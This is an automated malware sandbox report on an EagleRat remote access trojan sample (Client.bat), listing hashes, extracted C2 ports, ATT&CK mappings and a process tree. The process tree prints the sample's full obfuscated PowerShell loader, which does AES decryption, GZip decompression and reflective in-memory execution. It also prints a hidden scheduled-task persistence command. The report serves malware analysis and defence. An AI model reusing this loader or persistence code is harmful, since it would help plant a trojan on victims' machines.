eaglerat | e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca

Resubmissions

08/05/2024, 23:00

240508-2zf8nsef4910

08/05/2024, 22:58

240508-2x3znaee5210

Analysis

max time kernel
29s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
08/05/2024, 23:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Client.bat
Size 493KB
Sample240508-2zf8nsef49
SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
MD5 7094ce0a4c530778a5065a3cb7ba3c4a
SHA1 c5731b65b80a4a59b5d5d4d0c47bcbc45db723b1
SHA512 774f2b9a6328b39eb7053e9db17a2e48e399bbcf900b83922150e2dae6b886cda9f5af99c8571e2202c8abc2af2e1dd9c0a3bae88ab14cd4fb4970c2b285268b
SSDEEP 12288:7oS1Mi3ZvEVDfxjtQL6q7Kf/vCgFfdYsH:7o+MihEt1uOf/vbfYu
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

eaglerat execution rat

Malware Config

Extracted

Family

eaglerat

127.0.0.1:9875
127.0.0.1:7788
127.0.0.1:1337
127.0.0.1:5353

Signatures

EagleRat
An open source modular remote access trojan written in C#.
rat eaglerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe
1044	powershell.exe
4232	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4740	powershell.exe
4740	powershell.exe
1044	powershell.exe
1044	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe
4232	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	1044	powershell.exe
Token: SeSecurityPrivilege	1044	powershell.exe
Token: SeTakeOwnershipPrivilege	1044	powershell.exe
Token: SeLoadDriverPrivilege	1044	powershell.exe
Token: SeSystemProfilePrivilege	1044	powershell.exe
Token: SeSystemtimePrivilege	1044	powershell.exe
Token: SeProfSingleProcessPrivilege	1044	powershell.exe
Token: SeIncBasePriorityPrivilege	1044	powershell.exe
Token: SeCreatePagefilePrivilege	1044	powershell.exe
Token: SeBackupPrivilege	1044	powershell.exe
Token: SeRestorePrivilege	1044	powershell.exe
Token: SeShutdownPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeSystemEnvironmentPrivilege	1044	powershell.exe
Token: SeRemoteShutdownPrivilege	1044	powershell.exe
Token: SeUndockPrivilege	1044	powershell.exe
Token: SeManageVolumePrivilege	1044	powershell.exe
Token: 33	1044	powershell.exe
Token: 34	1044	powershell.exe
Token: 35	1044	powershell.exe
Token: 36	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	1044	powershell.exe
Token: SeSecurityPrivilege	1044	powershell.exe
Token: SeTakeOwnershipPrivilege	1044	powershell.exe
Token: SeLoadDriverPrivilege	1044	powershell.exe
Token: SeSystemProfilePrivilege	1044	powershell.exe
Token: SeSystemtimePrivilege	1044	powershell.exe
Token: SeProfSingleProcessPrivilege	1044	powershell.exe
Token: SeIncBasePriorityPrivilege	1044	powershell.exe
Token: SeCreatePagefilePrivilege	1044	powershell.exe
Token: SeBackupPrivilege	1044	powershell.exe
Token: SeRestorePrivilege	1044	powershell.exe
Token: SeShutdownPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeSystemEnvironmentPrivilege	1044	powershell.exe
Token: SeRemoteShutdownPrivilege	1044	powershell.exe
Token: SeUndockPrivilege	1044	powershell.exe
Token: SeManageVolumePrivilege	1044	powershell.exe
Token: 33	1044	powershell.exe
Token: 34	1044	powershell.exe
Token: 35	1044	powershell.exe
Token: 36	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	1044	powershell.exe
Token: SeSecurityPrivilege	1044	powershell.exe
Token: SeTakeOwnershipPrivilege	1044	powershell.exe
Token: SeLoadDriverPrivilege	1044	powershell.exe
Token: SeSystemProfilePrivilege	1044	powershell.exe
Token: SeSystemtimePrivilege	1044	powershell.exe
Token: SeProfSingleProcessPrivilege	1044	powershell.exe
Token: SeIncBasePriorityPrivilege	1044	powershell.exe
Token: SeCreatePagefilePrivilege	1044	powershell.exe
Token: SeBackupPrivilege	1044	powershell.exe
Token: SeRestorePrivilege	1044	powershell.exe
Token: SeShutdownPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeSystemEnvironmentPrivilege	1044	powershell.exe
Token: SeRemoteShutdownPrivilege	1044	powershell.exe
Token: SeUndockPrivilege	1044	powershell.exe
Token: SeManageVolumePrivilege	1044	powershell.exe
Token: 33	1044	powershell.exe
Token: 34	1044	powershell.exe
Token: 35	1044	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 3852 wrote to memory of 4236	3852	cmd.exe	83
PID 3852 wrote to memory of 4236	3852	cmd.exe	83
PID 3852 wrote to memory of 4740	3852	cmd.exe	84
PID 3852 wrote to memory of 4740	3852	cmd.exe	84
PID 4740 wrote to memory of 1044	4740	powershell.exe	87
PID 4740 wrote to memory of 1044	4740	powershell.exe	87
PID 4740 wrote to memory of 636	4740	powershell.exe	93
PID 4740 wrote to memory of 636	4740	powershell.exe	93
PID 636 wrote to memory of 684	636	WScript.exe	94
PID 636 wrote to memory of 684	636	WScript.exe	94
PID 684 wrote to memory of 1624	684	cmd.exe	96
PID 684 wrote to memory of 1624	684	cmd.exe	96
PID 684 wrote to memory of 4232	684	cmd.exe	97
PID 684 wrote to memory of 4232	684	cmd.exe	97
PID 4232 wrote to memory of 3456	4232	powershell.exe	56
PID 4232 wrote to memory of 1964	4232	powershell.exe	37
PID 4232 wrote to memory of 2356	4232	powershell.exe	41
PID 4232 wrote to memory of 2748	4232	powershell.exe	48
PID 4232 wrote to memory of 1168	4232	powershell.exe	19
PID 4232 wrote to memory of 1364	4232	powershell.exe	24
PID 4232 wrote to memory of 388	4232	powershell.exe	14
PID 4232 wrote to memory of 1356	4232	powershell.exe	23
PID 4232 wrote to memory of 1548	4232	powershell.exe	27
PID 4232 wrote to memory of 1744	4232	powershell.exe	30
PID 4232 wrote to memory of 2728	4232	powershell.exe	47
PID 4232 wrote to memory of 1660	4232	powershell.exe	70
PID 4232 wrote to memory of 1540	4232	powershell.exe	26
PID 4232 wrote to memory of 1932	4232	powershell.exe	33
PID 4232 wrote to memory of 2712	4232	powershell.exe	46
PID 4232 wrote to memory of 5092	4232	powershell.exe	68
PID 4232 wrote to memory of 1312	4232	powershell.exe	22
PID 4232 wrote to memory of 1504	4232	powershell.exe	25
PID 4232 wrote to memory of 1012	4232	powershell.exe	69
PID 4232 wrote to memory of 908	4232	powershell.exe	11
PID 4232 wrote to memory of 1100	4232	powershell.exe	18
PID 4232 wrote to memory of 1688	4232	powershell.exe	29
PID 4232 wrote to memory of 1668	4232	powershell.exe	28
PID 4232 wrote to memory of 4828	4232	powershell.exe	67
PID 4232 wrote to memory of 1084	4232	powershell.exe	17
PID 4232 wrote to memory of 2264	4232	powershell.exe	40
PID 4232 wrote to memory of 956	4232	powershell.exe	12
PID 4232 wrote to memory of 2656	4232	powershell.exe	44
PID 4232 wrote to memory of 2844	4232	powershell.exe	52
PID 4232 wrote to memory of 2448	4232	powershell.exe	43
PID 4232 wrote to memory of 2444	4232	powershell.exe	42
PID 4232 wrote to memory of 1256	4232	powershell.exe	21
PID 4232 wrote to memory of 1832	4232	powershell.exe	36
PID 4232 wrote to memory of 4576	4232	powershell.exe	66
PID 4232 wrote to memory of 1224	4232	powershell.exe	20
PID 4232 wrote to memory of 1812	4232	powershell.exe	32
PID 4232 wrote to memory of 1804	4232	powershell.exe	31
PID 4232 wrote to memory of 3376	4232	powershell.exe	55
PID 4232 wrote to memory of 3572	4232	powershell.exe	57
PID 4232 wrote to memory of 2188	4232	powershell.exe	39
PID 4232 wrote to memory of 1988	4232	powershell.exe	35
PID 4232 wrote to memory of 608	4232	powershell.exe	16
PID 4232 wrote to memory of 3164	4232	powershell.exe	54
PID 4232 wrote to memory of 1980	4232	powershell.exe	34
PID 4232 wrote to memory of 796	4232	powershell.exe	10
PID 4232 wrote to memory of 992	4232	powershell.exe	15

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3376

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Local\Temp\Client.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_923_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1044
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RpOLZDoluIa5pJWt3MShtq8ucUbVnSJL03s4NyOM1OY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PgZEQq6XKKhcY8YiWNws0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tlGyS=New-Object System.IO.MemoryStream(,$param_var); $tkRca=New-Object System.IO.MemoryStream; $axVDt=New-Object System.IO.Compression.GZipStream($tlGyS, [IO.Compression.CompressionMode]::Decompress); $axVDt.CopyTo($tkRca); $axVDt.Dispose(); $tlGyS.Dispose(); $tkRca.Dispose(); $tkRca.ToArray();}function execute_function($param_var,$param2_var){ $Oehyc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GVpLB=$Oehyc.EntryPoint; $GVpLB.Invoke($null, $param2_var);}$Wiypn = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat';$host.UI.RawUI.WindowTitle = $Wiypn;$FZxzB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Wiypn).Split([Environment]::NewLine);foreach ($SgbrW in $FZxzB) { if ($SgbrW.StartsWith('PrTqKlxMFfEfnSyFVRmW')) { $YQpFV=$SgbrW.Substring(20); break; }}$payloads_var=[string[]]$YQpFV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1624
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3572

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_jrqxfria.zdm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jrqxfria.zdm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$phantom-startup_str_923.bat

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.bat
Size 493KB
SHA256 e8f767f4eb2a2e61dc63ff62dd3a807879e9cdbc9678ed3c503847a47c9f2cca
MD5 7094ce0a4c530778a5065a3cb7ba3c4a
SHA1 c5731b65b80a4a59b5d5d4d0c47bcbc45db723b1
SHA512 774f2b9a6328b39eb7053e9db17a2e48e399bbcf900b83922150e2dae6b886cda9f5af99c8571e2202c8abc2af2e1dd9c0a3bae88ab14cd4fb4970c2b285268b
SSDEEP 12288:7oS1Mi3ZvEVDfxjtQL6q7Kf/vCgFfdYsH:7o+MihEt1uOf/vbfYu
MD5 SHA1 SHA512 SSDEEP

Submit Download

$phantom-startup_str_923.vbs

Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_923.vbs
Size 124B
SHA256 0d42cc7733888a317d8a9cab8ed02fa1dedb0370813ac730b8fb855cae5097f0
MD5 b37dacfc08239fc9db3c4fd8dab10aa2
SHA1 968ca40bebe7190b4261bc57b37d141957b9fcae
SHA512 61dbbaa699cecf9c4182a04017468af30cf276ae1a3451d260027ebfb490309234b3271615ca711ee2504ad143078b8fe0eac4df478390beb493e99e9c0faee3
MD5 SHA1 SHA512

Submit Download

memory/796-110-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1044-28-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/1044-31-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/1044-29-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/1044-18-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/1168-101-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1256-105-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1356-112-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1364-99-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1548-111-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1660-104-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1812-108-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1832-100-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1932-103-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1964-97-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/1988-98-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/2356-102-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/2448-106-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/2844-96-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/3164-109-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/3456-95-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/3456-49-0x0000000003080000-0x00000000030AA000-memory.dmp

Download

memory/4232-144-0x000002CF9CD70000-0x000002CF9CD82000-memory.dmp

Download

memory/4232-143-0x000002CF9CD60000-0x000002CF9CD74000-memory.dmp

Download

memory/4232-145-0x000002CF9CD80000-0x000002CF9CD9A000-memory.dmp

Download

memory/4576-107-0x00007FF8ACCB0000-0x00007FF8ACCC0000-memory.dmp

Download

memory/4740-12-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/4740-11-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/4740-2-0x0000021C7CF80000-0x0000021C7CFA2000-memory.dmp

Download

memory/4740-13-0x0000021C7F410000-0x0000021C7F454000-memory.dmp

Download

memory/4740-14-0x0000021C7F4E0000-0x0000021C7F556000-memory.dmp

Download

memory/4740-15-0x0000021C7F070000-0x0000021C7F078000-memory.dmp

Download

memory/4740-48-0x00007FF8CE490000-0x00007FF8CEF51000-memory.dmp

Download

memory/4740-16-0x0000021C7F460000-0x0000021C7F4C2000-memory.dmp

Download

memory/4740-0-0x00007FF8CE493000-0x00007FF8CE495000-memory.dmp

Download